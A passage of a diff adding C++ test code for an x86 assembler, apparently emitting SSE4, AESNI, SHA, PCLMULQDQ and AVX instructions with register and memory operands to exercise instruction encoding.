anyptr_gpB); + a.pshufb(mmA, mmB); + a.pshufb(mmA, anyptr_gpB); + a.pshufb(xmmA, xmmB); + a.pshufb(xmmA, anyptr_gpB); + a.palignr(mmA, mmB, 0); + a.palignr(mmA, anyptr_gpB, 0); + a.palignr(xmmA, xmmB, 0); + a.palignr(xmmA, anyptr_gpB, 0); + + // SSE4.1. + a.nop(); + + a.blendpd(xmmA, xmmB, 0); + a.blendpd(xmmA, anyptr_gpB, 0); + a.blendps(xmmA, xmmB, 0); + a.blendps(xmmA, anyptr_gpB, 0); + a.blendvpd(xmmA, xmmB); // Implicit xmmA, xmmB, + a.blendvpd(xmmA, xmmB, xmm0); // Explicit xmmA, xmmB, + a.blendvpd(xmmA, anyptr_gpB); // Implicit xmmA, mem , + a.blendvpd(xmmA, anyptr_gpB, xmm0); // Explicit xmmA, mem , + a.blendvps(xmmA, xmmB); // Implicit xmmA, xmmB, + a.blendvps(xmmA, xmmB, xmm0); // Explicit xmmA, xmmB, + a.blendvps(xmmA, anyptr_gpB); // Implicit xmmA, mem , + a.blendvps(xmmA, anyptr_gpB, xmm0); // Explicit xmmA, mem , + + a.dppd(xmmA, xmmB, 0); + a.dppd(xmmA, anyptr_gpB, 0); + a.dpps(xmmA, xmmB, 0); + a.dpps(xmmA, anyptr_gpB, 0); + a.extractps(gdA, xmmB, 0); + a.extractps(gzA, xmmB, 0); + a.extractps(anyptr_gpA, xmmB, 0); + a.insertps(xmmA, xmmB, 0); + a.insertps(xmmA, anyptr_gpB, 0); + a.movntdqa(xmmA, anyptr_gpB); + a.mpsadbw(xmmA, xmmB, 0); + a.mpsadbw(xmmA, anyptr_gpB, 0); + a.packusdw(xmmA, xmmB); + a.packusdw(xmmA, anyptr_gpB); + a.pblendvb(xmmA, xmmB); // Implicit xmmA, xmmB, + a.pblendvb(xmmA, xmmB, xmm0); // Explicit xmmA, xmmB, + a.pblendvb(xmmA, anyptr_gpB); // Implicit xmmA, mem, + a.pblendvb(xmmA, anyptr_gpB, xmm0); // Implicit xmmA, mem, + a.pblendw(xmmA, xmmB, 0); + a.pblendw(xmmA, anyptr_gpB, 0); + a.pcmpeqq(xmmA, xmmB); + a.pcmpeqq(xmmA, anyptr_gpB); + a.pextrb(gdA, xmmB, 0); + a.pextrb(gzA, xmmB, 0); + a.pextrb(anyptr_gpA, xmmB, 0); + a.pextrd(gdA, xmmB, 0); + a.pextrd(gzA, xmmB, 0); + a.pextrd(anyptr_gpA, xmmB, 0); + if (isX64) a.pextrq(gzA, xmmB, 0); + if (isX64) a.pextrq(anyptr_gpA, xmmB, 0); + a.pextrw(gdA, xmmB, 0); + a.pextrw(gzA, xmmB, 0); + a.pextrw(anyptr_gpA, xmmB, 0); + a.phminposuw(xmmA, xmmB); + a.phminposuw(xmmA, anyptr_gpB); + a.pinsrb(xmmA, gdB, 0); + a.pinsrb(xmmA, gzB, 0); + a.pinsrb(xmmA, anyptr_gpB, 0); + a.pinsrd(xmmA, gdB, 0); + a.pinsrd(xmmA, gzB, 0); + a.pinsrd(xmmA, anyptr_gpB, 0); + a.pinsrw(xmmA, gdB, 0); + a.pinsrw(xmmA, gzB, 0); + a.pinsrw(xmmA, anyptr_gpB, 0); + a.pmaxuw(xmmA, xmmB); + a.pmaxuw(xmmA, anyptr_gpB); + a.pmaxsb(xmmA, xmmB); + a.pmaxsb(xmmA, anyptr_gpB); + a.pmaxsd(xmmA, xmmB); + a.pmaxsd(xmmA, anyptr_gpB); + a.pmaxud(xmmA, xmmB); + a.pmaxud(xmmA, anyptr_gpB); + a.pminsb(xmmA, xmmB); + a.pminsb(xmmA, anyptr_gpB); + a.pminuw(xmmA, xmmB); + a.pminuw(xmmA, anyptr_gpB); + a.pminud(xmmA, xmmB); + a.pminud(xmmA, anyptr_gpB); + a.pminsd(xmmA, xmmB); + a.pminsd(xmmA, anyptr_gpB); + a.pmovsxbw(xmmA, xmmB); + a.pmovsxbw(xmmA, anyptr_gpB); + a.pmovsxbd(xmmA, xmmB); + a.pmovsxbd(xmmA, anyptr_gpB); + a.pmovsxbq(xmmA, xmmB); + a.pmovsxbq(xmmA, anyptr_gpB); + a.pmovsxwd(xmmA, xmmB); + a.pmovsxwd(xmmA, anyptr_gpB); + a.pmovsxwq(xmmA, xmmB); + a.pmovsxwq(xmmA, anyptr_gpB); + a.pmovsxdq(xmmA, xmmB); + a.pmovsxdq(xmmA, anyptr_gpB); + a.pmovzxbw(xmmA, xmmB); + a.pmovzxbw(xmmA, anyptr_gpB); + a.pmovzxbd(xmmA, xmmB); + a.pmovzxbd(xmmA, anyptr_gpB); + a.pmovzxbq(xmmA, xmmB); + a.pmovzxbq(xmmA, anyptr_gpB); + a.pmovzxwd(xmmA, xmmB); + a.pmovzxwd(xmmA, anyptr_gpB); + a.pmovzxwq(xmmA, xmmB); + a.pmovzxwq(xmmA, anyptr_gpB); + a.pmovzxdq(xmmA, xmmB); + a.pmovzxdq(xmmA, anyptr_gpB); + a.pmuldq(xmmA, xmmB); + a.pmuldq(xmmA, anyptr_gpB); + a.pmulld(xmmA, xmmB); + a.pmulld(xmmA, anyptr_gpB); + a.ptest(xmmA, xmmB); + a.ptest(xmmA, anyptr_gpB); + a.roundps(xmmA, xmmB, 0); + a.roundps(xmmA, anyptr_gpB, 0); + a.roundss(xmmA, xmmB, 0); + a.roundss(xmmA, anyptr_gpB, 0); + a.roundpd(xmmA, xmmB, 0); + a.roundpd(xmmA, anyptr_gpB, 0); + a.roundsd(xmmA, xmmB, 0); + a.roundsd(xmmA, anyptr_gpB, 0); + + // SSE4.2. + a.nop(); + + a.pcmpestri(xmmA, xmmB , imm(0)); // Implicit xmmA, xmmB, imm, , , + a.pcmpestri(xmmA, xmmB , imm(0), ecx, eax, edx); // Explicit xmmA, xmmB, imm, , , + a.pcmpestri(xmmA, anyptr_gpB, imm(0)); // Implicit xmmA, mem , imm, , , + a.pcmpestri(xmmA, anyptr_gpB, imm(0), ecx, eax, edx); // Explicit xmmA, mem , imm, , , + a.pcmpestrm(xmmA, xmmB , imm(0)); // Implicit xmmA, xmmB, imm, , , + a.pcmpestrm(xmmA, xmmB , imm(0), xmm0, eax, edx); // Explicit xmmA, xmmB, imm, , , + a.pcmpestrm(xmmA, anyptr_gpB, imm(0)); // Implicit xmmA, mem , imm, , , + a.pcmpestrm(xmmA, anyptr_gpB, imm(0), xmm0, eax, edx); // Explicit xmmA, mem , imm, , , + a.pcmpistri(xmmA, xmmB , imm(0)); // Implicit xmmA, xmmB, imm, + a.pcmpistri(xmmA, xmmB , imm(0), ecx); // Explicit xmmA, xmmB, imm, + a.pcmpistri(xmmA, anyptr_gpB, imm(0)); // Implicit xmmA, mem , imm, + a.pcmpistri(xmmA, anyptr_gpB, imm(0), ecx); // Explicit xmmA, mem , imm, + a.pcmpistrm(xmmA, xmmB , imm(0)); // Implicit xmmA, xmmB, imm, + a.pcmpistrm(xmmA, xmmB , imm(0), xmm0); // Explicit xmmA, xmmB, imm, + a.pcmpistrm(xmmA, anyptr_gpB, imm(0)); // Implicit xmmA, mem , imm, + a.pcmpistrm(xmmA, anyptr_gpB, imm(0), xmm0); // Explicit xmmA, mem , imm, + + a.pcmpgtq(xmmA, xmmB); + a.pcmpgtq(xmmA, anyptr_gpB); + + // SSE4A. + a.nop(); + + a.extrq(xmmA, xmmB); + a.extrq(xmmA, 0x1, 0x2); + a.extrq(xmmB, 0x1, 0x2); + a.insertq(xmmA, xmmB); + a.insertq(xmmA, xmmB, 0x1, 0x2); + a.movntsd(anyptr_gpA, xmmB); + a.movntss(anyptr_gpA, xmmB); + + // AESNI. + a.nop(); + + a.aesdec(xmmA, xmmB); + a.aesdec(xmmA, anyptr_gpB); + a.aesdeclast(xmmA, xmmB); + a.aesdeclast(xmmA, anyptr_gpB); + a.aesenc(xmmA, xmmB); + a.aesenc(xmmA, anyptr_gpB); + a.aesenclast(xmmA, xmmB); + a.aesenclast(xmmA, anyptr_gpB); + a.aesimc(xmmA, xmmB); + a.aesimc(xmmA, anyptr_gpB); + a.aeskeygenassist(xmmA, xmmB, 0); + a.aeskeygenassist(xmmA, anyptr_gpB, 0); + + // SHA. + a.nop(); + + a.sha1msg1(xmmA, xmmB); + a.sha1msg1(xmmA, anyptr_gpB); + a.sha1msg2(xmmA, xmmB); + a.sha1msg2(xmmA, anyptr_gpB); + a.sha1nexte(xmmA, xmmB); + a.sha1nexte(xmmA, anyptr_gpB); + a.sha1rnds4(xmmA, xmmB, 0); + a.sha1rnds4(xmmA, anyptr_gpB, 0); + a.sha256msg1(xmmA, xmmB); + a.sha256msg1(xmmA, anyptr_gpB); + a.sha256msg2(xmmA, xmmB); + a.sha256msg2(xmmA, anyptr_gpB); + a.sha256rnds2(xmmA, xmmB); // Implicit xmmA, xmmB, + a.sha256rnds2(xmmA, xmmB, xmm0); // Explicit xmmA, xmmB, + a.sha256rnds2(xmmA, anyptr_gpB); // Implicit xmmA, mem, + a.sha256rnds2(xmmA, anyptr_gpB, xmm0); // Explicit xmmA, mem, + + // PCLMULQDQ. + a.nop(); + + a.pclmulqdq(xmmA, xmmB, 0); + a.pclmulqdq(xmmA, anyptr_gpB, 0); + + // AVX. + a.nop(); + + a.vaddpd(xmmA, xmmB, xmmC); + a.vaddpd(xmmA, xmmB, anyptr_gpC); + a.vaddpd(ymmA, ymmB, ymmC); + a.vaddpd(ymmA, ymmB, anyptr_gpC); + a.vaddps(xmmA, xmmB, xmmC); + a.vaddps(xmmA, xmmB, anyptr_gpC); + a.vaddps(ymmA, ymmB, ymmC); + a.vaddps(ymmA, ymmB, anyptr_gpC); + a.vaddsd(xmmA, xmmB, xmmC); + a.vaddsd(xmmA, xmmB, anyptr_gpC); + a.vaddss(xmmA, xmmB, xmmC); + a.vaddss(xmmA, xmmB, anyptr_gpC); + a.vaddsubpd(xmmA, xmmB, xmmC); + a.vaddsubpd(xmmA, xmmB, anyptr_gpC); + a.vaddsubpd(ymmA, ymmB, ymmC); + a.vaddsubpd(ymmA, ymmB, anyptr_gpC); + a.vaddsubps(xmmA, xmmB, xmmC); + a.vaddsubps(xmmA, xmmB, anyptr_gpC); + a.vaddsubps(ymmA, ymmB, ymmC); + a.vaddsubps(ymmA, ymmB, anyptr_gpC); + a.vandpd(xmmA, xmmB, xmmC); + a.vandpd(xmmA, xmmB, anyptr_gpC); + a.vandpd(ymmA, ymmB, ymmC); + a.vandpd(ymmA, ymmB, anyptr_gpC); + a.vandps(xmmA, xmmB, xmmC); + a.vandps(xmmA, xmmB, anyptr_gpC); + a.vandps(ymmA, ymmB, ymmC); + a.vandps(ymmA, ymmB, anyptr_gpC); + a.vandnpd(xmmA, xmmB, xmmC); + a.vandnpd(xmmA, xmmB, anyptr_gpC); + a.vandnpd(ymmA, ymmB, ymmC); + a.vandnpd(ymmA, ymmB, anyptr_gpC); + a.vandnps(xmmA, xmmB, xmmC); + a.vandnps(xmmA, xmmB, anyptr_gpC); + a.vandnps(ymmA, ymmB, ymmC); + a.vandnps(ymmA, ymmB, anyptr_gpC); + a.vblendpd(xmmA, xmmB, xmmC, 0); + a.vblendpd(xmmA, xmmB, anyptr_gpC, 0); + a.vblendpd(ymmA, ymmB, ymmC, 0); + a.vblendpd(ymmA, ymmB, anyptr_gpC, 0); + a.vblendps(xmmA, xmmB, xmmC, 0); + a.vblendps(xmmA, xmmB, anyptr_gpC, 0); + a.vblendps(ymmA, ymmB, ymmC, 0); + a.vblendps(ymmA, ymmB, anyptr_gpC, 0); + a.vblendvpd(xmmA, xmmB, xmmC, xmmD); + a.vblendvpd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vblendvpd(ymmA, ymmB, ymmC, ymmD); + a.vblendvpd(ymmA, ymmB, anyptr_gpC, ymmD); + a.vbroadcastf128(ymmA, anyptr_gpB); + a.vbroadcastsd(ymmA, anyptr_gpB); + a.vbroadcastss(xmmA, anyptr_gpB); + a.vbroadcastss(ymmA, anyptr_gpB); + a.vcmppd(xmmA, xmmB, xmmC, 0); + a.vcmppd(xmmA, xmmB, anyptr_gpC, 0); + a.vcmppd(ymmA, ymmB, ymmC, 0); + a.vcmppd(ymmA, ymmB, anyptr_gpC, 0); + a.vcmpps(xmmA, xmmB, xmmC, 0); + a.vcmpps(xmmA, xmmB, anyptr_gpC, 0); + a.vcmpps(ymmA, ymmB, ymmC, 0); + a.vcmpps(ymmA, ymmB, anyptr_gpC, 0); + a.vcmpsd(xmmA, xmmB, xmmC, 0); + a.vcmpsd(xmmA, xmmB, anyptr_gpC, 0); + a.vcmpss(xmmA, xmmB, xmmC, 0); + a.vcmpss(xmmA, xmmB, anyptr_gpC, 0); + a.vcomisd(xmmA, xmmB); + a.vcomisd(xmmA, anyptr_gpB); + a.vcomiss(xmmA, xmmB); + a.vcomiss(xmmA, anyptr_gpB); + a.vcvtdq2pd(xmmA, xmmB); + a.vcvtdq2pd(xmmA, anyptr_gpB); + a.vcvtdq2pd(ymmA, xmmB); + a.vcvtdq2pd(ymmA, anyptr_gpB); + a.vcvtdq2ps(xmmA, xmmB); + a.vcvtdq2ps(xmmA, anyptr_gpB); + a.vcvtdq2ps(ymmA, ymmB); + a.vcvtdq2ps(ymmA, anyptr_gpB); + a.vcvtpd2dq(xmmA, xmmB); + a.vcvtpd2dq(xmmA, ymmB); + a.vcvtpd2dq(xmmA, anyptr_gpB); + a.vcvtpd2ps(xmmA, xmmB); + a.vcvtpd2ps(xmmA, ymmB); + a.vcvtpd2ps(xmmA, anyptr_gpB); + a.vcvtps2dq(xmmA, xmmB); + a.vcvtps2dq(xmmA, anyptr_gpB); + a.vcvtps2dq(ymmA, ymmB); + a.vcvtps2dq(ymmA, anyptr_gpB); + a.vcvtps2pd(xmmA, xmmB); + a.vcvtps2pd(xmmA, anyptr_gpB); + a.vcvtps2pd(ymmA, xmmB); + a.vcvtps2pd(ymmA, anyptr_gpB); + a.vcvtsd2si(gzA, xmmB); + a.vcvtsd2si(gzA, anyptr_gpB); + a.vcvtsd2ss(xmmA, xmmB, xmmC); + a.vcvtsd2ss(xmmA, xmmB, anyptr_gpC); + a.vcvtsi2sd(xmmA, xmmB, gzC); + a.vcvtsi2sd(xmmA, xmmB, anyptr_gpC); + a.vcvtsi2ss(xmmA, xmmB, gzC); + a.vcvtsi2ss(xmmA, xmmB, anyptr_gpC); + a.vcvtss2sd(xmmA, xmmB, xmmC); + a.vcvtss2sd(xmmA, xmmB, anyptr_gpC); + a.vcvtss2si(gzA, xmmB); + a.vcvtss2si(gzA, anyptr_gpB); + a.vcvttpd2dq(xmmA, xmmB); + a.vcvttpd2dq(xmmA, ymmB); + a.vcvttpd2dq(xmmA, anyptr_gpB); + a.vcvttps2dq(xmmA, xmmB); + a.vcvttps2dq(xmmA, anyptr_gpB); + a.vcvttps2dq(ymmA, ymmB); + a.vcvttps2dq(ymmA, anyptr_gpB); + a.vcvttsd2si(gzA, xmmB); + a.vcvttsd2si(gzA, anyptr_gpB); + a.vcvttss2si(gzA, xmmB); + a.vcvttss2si(gzA, anyptr_gpB); + a.vdivpd(xmmA, xmmB, xmmC); + a.vdivpd(xmmA, xmmB, anyptr_gpC); + a.vdivpd(ymmA, ymmB, ymmC); + a.vdivpd(ymmA, ymmB, anyptr_gpC); + a.vdivps(xmmA, xmmB, xmmC); + a.vdivps(xmmA, xmmB, anyptr_gpC); + a.vdivps(ymmA, ymmB, ymmC); + a.vdivps(ymmA, ymmB, anyptr_gpC); + a.vdivsd(xmmA, xmmB, xmmC); + a.vdivsd(xmmA, xmmB, anyptr_gpC); + a.vdivss(xmmA, xmmB, xmmC); + a.vdivss(xmmA, xmmB, anyptr_gpC); + a.vdppd(xmmA, xmmB, xmmC, 0); + a.vdppd(xmmA, xmmB, anyptr_gpC, 0); + a.vdpps(xmmA, xmmB, xmmC, 0); + a.vdpps(xmmA, xmmB, anyptr_gpC, 0); + a.vdpps(ymmA, ymmB, ymmC, 0); + a.vdpps(ymmA, ymmB, anyptr_gpC, 0); + a.vextractf128(xmmA, ymmB, 0); + a.vextractf128(anyptr_gpA, ymmB, 0); + a.vextractps(gzA, xmmB, 0); + a.vextractps(anyptr_gpA, xmmB, 0); + a.vhaddpd(xmmA, xmmB, xmmC); + a.vhaddpd(xmmA, xmmB, anyptr_gpC); + a.vhaddpd(ymmA, ymmB, ymmC); + a.vhaddpd(ymmA, ymmB, anyptr_gpC); + a.vhaddps(xmmA, xmmB, xmmC); + a.vhaddps(xmmA, xmmB, anyptr_gpC); + a.vhaddps(ymmA, ymmB, ymmC); + a.vhaddps(ymmA, ymmB, anyptr_gpC); + a.vhsubpd(xmmA, xmmB, xmmC); + a.vhsubpd(xmmA, xmmB, anyptr_gpC); + a.vhsubpd(ymmA, ymmB, ymmC); + a.vhsubpd(ymmA, ymmB, anyptr_gpC); + a.vhsubps(xmmA, xmmB, xmmC); + a.vhsubps(xmmA, xmmB, anyptr_gpC); + a.vhsubps(ymmA, ymmB, ymmC); + a.vhsubps(ymmA, ymmB, anyptr_gpC); + a.vinsertf128(ymmA, ymmB, xmmC, 0); + a.vinsertf128(ymmA, ymmB, anyptr_gpC, 0); + a.vinsertps(xmmA, xmmB, xmmC, 0); + a.vinsertps(xmmA, xmmB, anyptr_gpC, 0); + a.vlddqu(xmmA, anyptr_gpB); + a.vlddqu(ymmA, anyptr_gpB); + a.vldmxcsr(anyptr_gpA); + a.vmaskmovdqu(xmmA, xmmB); // Implicit xmmA, xmmB, + a.vmaskmovdqu(xmmA, xmmB, ptr(a.zdi())); // Explicit xmmA, xmmB, + a.vmaskmovps(xmmA, xmmB, anyptr_gpC); + a.vmaskmovps(ymmA, ymmB, anyptr_gpC); + a.vmaskmovps(anyptr_gpA, xmmB, xmmC); + a.vmaskmovps(anyptr_gpA, ymmB, ymmC); + a.vmaskmovpd(xmmA, xmmB, anyptr_gpC); + a.vmaskmovpd(ymmA, ymmB, anyptr_gpC); + a.vmaskmovpd(anyptr_gpA, xmmB, xmmC); + a.vmaskmovpd(anyptr_gpA, ymmB, ymmC); + a.vmaxpd(xmmA, xmmB, xmmC); + a.vmaxpd(xmmA, xmmB, anyptr_gpC); + a.vmaxpd(ymmA, ymmB, ymmC); + a.vmaxpd(ymmA, ymmB, anyptr_gpC); + a.vmaxps(xmmA, xmmB, xmmC); + a.vmaxps(xmmA, xmmB, anyptr_gpC); + a.vmaxps(ymmA, ymmB, ymmC); + a.vmaxps(ymmA, ymmB, anyptr_gpC); + a.vmaxsd(xmmA, xmmB, xmmC); + a.vmaxsd(xmmA, xmmB, anyptr_gpC); + a.vmaxss(xmmA, xmmB, xmmC); + a.vmaxss(xmmA, xmmB, anyptr_gpC); + a.vminpd(xmmA, xmmB, xmmC); + a.vminpd(xmmA, xmmB, anyptr_gpC); + a.vminpd(ymmA, ymmB, ymmC); + a.vminpd(ymmA, ymmB, anyptr_gpC); + a.vminps(xmmA, xmmB, xmmC); + a.vminps(xmmA, xmmB, anyptr_gpC); + a.vminps(ymmA, ymmB, ymmC); + a.vminps(ymmA, ymmB, anyptr_gpC); + a.vminsd(xmmA, xmmB, xmmC); + a.vminsd(xmmA, xmmB, anyptr_gpC); + a.vminss(xmmA, xmmB, xmmC); + a.vminss(xmmA, xmmB, anyptr_gpC); + a.vmovapd(xmmA, xmmB); + a.vmovapd(xmmA, anyptr_gpB); + a.vmovapd(anyptr_gpA, xmmB); + a.vmovapd(ymmA, ymmB); + a.vmovapd(ymmA, anyptr_gpB); + a.vmovapd(anyptr_gpA, ymmB); + a.vmovaps(xmmA, xmmB); + a.vmovaps(xmmA, anyptr_gpB); + a.vmovaps(anyptr_gpA, xmmB); + a.vmovaps(ymmA, ymmB); + a.vmovaps(ymmA, anyptr_gpB); + a.vmovaps(anyptr_gpA, ymmB); + a.vmovd(xmmA, gzB); + a.vmovd(xmmA, anyptr_gpB); + a.vmovd(gzA, xmmB); + a.vmovd(anyptr_gpA, xmmB); + a.vmovddup(xmmA, xmmB); + a.vmovddup(xmmA, anyptr_gpB); + a.vmovddup(ymmA, ymmB); + a.vmovddup(ymmA, anyptr_gpB); + a.vmovdqa(xmmA, xmmB); + a.vmovdqa(xmmA, anyptr_gpB); + a.vmovdqa(anyptr_gpA, xmmB); + a.vmovdqa(ymmA, ymmB); + a.vmovdqa(ymmA, anyptr_gpB); + a.vmovdqa(anyptr_gpA, ymmB); + a.vmovdqu(xmmA, xmmB); + a.vmovdqu(xmmA, anyptr_gpB); + a.vmovdqu(anyptr_gpA, xmmB); + a.vmovdqu(ymmA, ymmB); + a.vmovdqu(ymmA, anyptr_gpB); + a.vmovdqu(anyptr_gpA, ymmB); + a.vmovhlps(xmmA, xmmB, xmmC); + a.vmovhpd(xmmA, xmmB, anyptr_gpC); + a.vmovhpd(anyptr_gpA, xmmB); + a.vmovhps(xmmA, xmmB, anyptr_gpC); + a.vmovhps(anyptr_gpA, xmmB); + a.vmovlhps(xmmA, xmmB, xmmC); + a.vmovlpd(xmmA, xmmB, anyptr_gpC); + a.vmovlpd(anyptr_gpA, xmmB); + a.vmovlps(xmmA, xmmB, anyptr_gpC); + a.vmovlps(anyptr_gpA, xmmB); + a.vmovmskpd(gzA, xmmB); + a.vmovmskpd(gzA, ymmB); + a.vmovmskps(gzA, xmmB); + a.vmovmskps(gzA, ymmB); + a.vmovntdq(anyptr_gpA, xmmB); + a.vmovntdq(anyptr_gpA, ymmB); + a.vmovntdqa(xmmA, anyptr_gpB); + a.vmovntpd(anyptr_gpA, xmmB); + a.vmovntpd(anyptr_gpA, ymmB); + a.vmovntps(anyptr_gpA, xmmB); + a.vmovntps(anyptr_gpA, ymmB); + a.vmovsd(xmmA, xmmB, xmmC); + a.vmovsd(xmmA, anyptr_gpB); + a.vmovsd(anyptr_gpA, xmmB); + a.vmovshdup(xmmA, xmmB); + a.vmovshdup(xmmA, anyptr_gpB); + a.vmovshdup(ymmA, ymmB); + a.vmovshdup(ymmA, anyptr_gpB); + a.vmovsldup(xmmA, xmmB); + a.vmovsldup(xmmA, anyptr_gpB); + a.vmovsldup(ymmA, ymmB); + a.vmovsldup(ymmA, anyptr_gpB); + a.vmovss(xmmA, xmmB, xmmC); + a.vmovss(xmmA, anyptr_gpB); + a.vmovss(anyptr_gpA, xmmB); + a.vmovupd(xmmA, xmmB); + a.vmovupd(xmmA, anyptr_gpB); + a.vmovupd(anyptr_gpA, xmmB); + a.vmovupd(ymmA, ymmB); + a.vmovupd(ymmA, anyptr_gpB); + a.vmovupd(anyptr_gpA, ymmB); + a.vmovups(xmmA, xmmB); + a.vmovups(xmmA, anyptr_gpB); + a.vmovups(anyptr_gpA, xmmB); + a.vmovups(ymmA, ymmB); + a.vmovups(ymmA, anyptr_gpB); + a.vmovups(anyptr_gpA, ymmB); + a.vmpsadbw(xmmA, xmmB, xmmC, 0); + a.vmpsadbw(xmmA, xmmB, anyptr_gpC, 0); + a.vmulpd(xmmA, xmmB, xmmC); + a.vmulpd(xmmA, xmmB, anyptr_gpC); + a.vmulpd(ymmA, ymmB, ymmC); + a.vmulpd(ymmA, ymmB, anyptr_gpC); + a.vmulps(xmmA, xmmB, xmmC); + a.vmulps(xmmA, xmmB, anyptr_gpC); + a.vmulps(ymmA, ymmB, ymmC); + a.vmulps(ymmA, ymmB, anyptr_gpC); + a.vmulsd(xmmA, xmmB, xmmC); + a.vmulsd(xmmA, xmmB, anyptr_gpC); + a.vmulss(xmmA, xmmB, xmmC); + a.vmulss(xmmA, xmmB, anyptr_gpC); + a.vorpd(xmmA, xmmB, xmmC); + a.vorpd(xmmA, xmmB, anyptr_gpC); + a.vorpd(ymmA, ymmB, ymmC); + a.vorpd(ymmA, ymmB, anyptr_gpC); + a.vorps(xmmA, xmmB, xmmC); + a.vorps(xmmA, xmmB, anyptr_gpC); + a.vorps(ymmA, ymmB, ymmC); + a.vorps(ymmA, ymmB, anyptr_gpC); + a.vpabsb(xmmA, xmmB); + a.vpabsb(xmmA, anyptr_gpB); + a.vpabsd(xmmA, xmmB); + a.vpabsd(xmmA, anyptr_gpB); + a.vpabsw(xmmA, xmmB); + a.vpabsw(xmmA, anyptr_gpB); + a.vpackssdw(xmmA, xmmB, xmmC); + a.vpackssdw(xmmA, xmmB, anyptr_gpC); + a.vpacksswb(xmmA, xmmB, xmmC); + a.vpacksswb(xmmA, xmmB, anyptr_gpC); + a.vpackusdw(xmmA, xmmB, xmmC); + a.vpackusdw(xmmA, xmmB, anyptr_gpC); + a.vpackuswb(xmmA, xmmB, xmmC); + a.vpackuswb(xmmA, xmmB, anyptr_gpC); + a.vpaddb(xmmA, xmmB, xmmC); + a.vpaddb(xmmA, xmmB, anyptr_gpC); + a.vpaddd(xmmA, xmmB, xmmC); + a.vpaddd(xmmA, xmmB, anyptr_gpC); + a.vpaddq(xmmA, xmmB, xmmC); + a.vpaddq(xmmA, xmmB, anyptr_gpC); + a.vpaddw(xmmA, xmmB, xmmC); + a.vpaddw(xmmA, xmmB, anyptr_gpC); + a.vpaddsb(xmmA, xmmB, xmmC); + a.vpaddsb(xmmA, xmmB, anyptr_gpC); + a.vpaddsw(xmmA, xmmB, xmmC); + a.vpaddsw(xmmA, xmmB, anyptr_gpC); + a.vpaddusb(xmmA, xmmB, xmmC); + a.vpaddusb(xmmA, xmmB, anyptr_gpC); + a.vpaddusw(xmmA, xmmB, xmmC); + a.vpaddusw(xmmA, xmmB, anyptr_gpC); + a.vpalignr(xmmA, xmmB, xmmC, 0); + a.vpalignr(xmmA, xmmB, anyptr_gpC, 0); + a.vpand(xmmA, xmmB, xmmC); + a.vpand(xmmA, xmmB, anyptr_gpC); + a.vpandn(xmmA, xmmB, xmmC); + a.vpandn(xmmA, xmmB, anyptr_gpC); + a.vpavgb(xmmA, xmmB, xmmC); + a.vpavgb(xmmA, xmmB, anyptr_gpC); + a.vpavgw(xmmA, xmmB, xmmC); + a.vpavgw(xmmA, xmmB, anyptr_gpC); + a.vpblendvb(xmmA, xmmB, xmmC, xmmD); + a.vpblendvb(xmmA, xmmB, anyptr_gpC, xmmD); + a.vpblendw(xmmA, xmmB, xmmC, 0); + a.vpblendw(xmmA, xmmB, anyptr_gpC, 0); + a.vpcmpeqb(xmmA, xmmB, xmmC); + a.vpcmpeqb(xmmA, xmmB, anyptr_gpC); + a.vpcmpeqd(xmmA, xmmB, xmmC); + a.vpcmpeqd(xmmA, xmmB, anyptr_gpC); + a.vpcmpeqq(xmmA, xmmB, xmmC); + a.vpcmpeqq(xmmA, xmmB, anyptr_gpC); + a.vpcmpeqw(xmmA, xmmB, xmmC); + a.vpcmpeqw(xmmA, xmmB, anyptr_gpC); + a.vpcmpgtb(xmmA, xmmB, xmmC); + a.vpcmpgtb(xmmA, xmmB, anyptr_gpC); + a.vpcmpgtd(xmmA, xmmB, xmmC); + a.vpcmpgtd(xmmA, xmmB, anyptr_gpC); + a.vpcmpgtq(xmmA, xmmB, xmmC); + a.vpcmpgtq(xmmA, xmmB, anyptr_gpC); + a.vpcmpgtw(xmmA, xmmB, xmmC); + a.vpcmpgtw(xmmA, xmmB, anyptr_gpC); + a.vpcmpestri(xmmA, xmmB, 0); + a.vpcmpestri(xmmA, anyptr_gpB, 0); + a.vpcmpestrm(xmmA, xmmB, 0); + a.vpcmpestrm(xmmA, anyptr_gpB, 0); + a.vpcmpistri(xmmA, xmmB, 0); + a.vpcmpistri(xmmA, anyptr_gpB, 0); + a.vpcmpistrm(xmmA, xmmB, 0); + a.vpcmpistrm(xmmA, anyptr_gpB, 0); + a.vpermilpd(xmmA, xmmB, xmmC); + a.vpermilpd(xmmA, xmmB, anyptr_gpC); + a.vpermilpd(ymmA, ymmB, ymmC); + a.vpermilpd(ymmA, ymmB, anyptr_gpC); + a.vpermilpd(xmmA, xmmB, 0); + a.vpermilpd(xmmA, anyptr_gpB, 0); + a.vpermilpd(ymmA, ymmB, 0); + a.vpermilpd(ymmA, anyptr_gpB, 0); + a.vpermilps(xmmA, xmmB, xmmC); + a.vpermilps(xmmA, xmmB, anyptr_gpC); + a.vpermilps(ymmA, ymmB, ymmC); + a.vpermilps(ymmA, ymmB, anyptr_gpC); + a.vpermilps(xmmA, xmmB, 0); + a.vpermilps(xmmA, anyptr_gpB, 0); + a.vpermilps(ymmA, ymmB, 0); + a.vpermilps(ymmA, anyptr_gpB, 0); + a.vperm2f128(ymmA, ymmB, ymmC, 0); + a.vperm2f128(ymmA, ymmB, anyptr_gpC, 0); + a.vpextrb(gzA, xmmB, 0); + a.vpextrb(anyptr_gpA, xmmB, 0); + a.vpextrd(gzA, xmmB, 0); + a.vpextrd(anyptr_gpA, xmmB, 0); + if (isX64) a.vpextrq(gzA, xmmB, 0); + if (isX64) a.vpextrq(anyptr_gpA, xmmB, 0); + a.vpextrw(gzA, xmmB, 0); + a.vpextrw(anyptr_gpA, xmmB, 0); + a.vphaddd(xmmA, xmmB, xmmC); + a.vphaddd(xmmA, xmmB, anyptr_gpC); + a.vphaddsw(xmmA, xmmB, xmmC); + a.vphaddsw(xmmA, xmmB, anyptr_gpC); + a.vphaddw(xmmA, xmmB, xmmC); + a.vphaddw(xmmA, xmmB, anyptr_gpC); + a.vphminposuw(xmmA, xmmB); + a.vphminposuw(xmmA, anyptr_gpB); + a.vphsubd(xmmA, xmmB, xmmC); + a.vphsubd(xmmA, xmmB, anyptr_gpC); + a.vphsubsw(xmmA, xmmB, xmmC); + a.vphsubsw(xmmA, xmmB, anyptr_gpC); + a.vphsubw(xmmA, xmmB, xmmC); + a.vphsubw(xmmA, xmmB, anyptr_gpC); + a.vpinsrb(xmmA, xmmB, gzC, 0); + a.vpinsrb(xmmA, xmmB, anyptr_gpC, 0); + a.vpinsrd(xmmA, xmmB, gzC, 0); + a.vpinsrd(xmmA, xmmB, anyptr_gpC, 0); 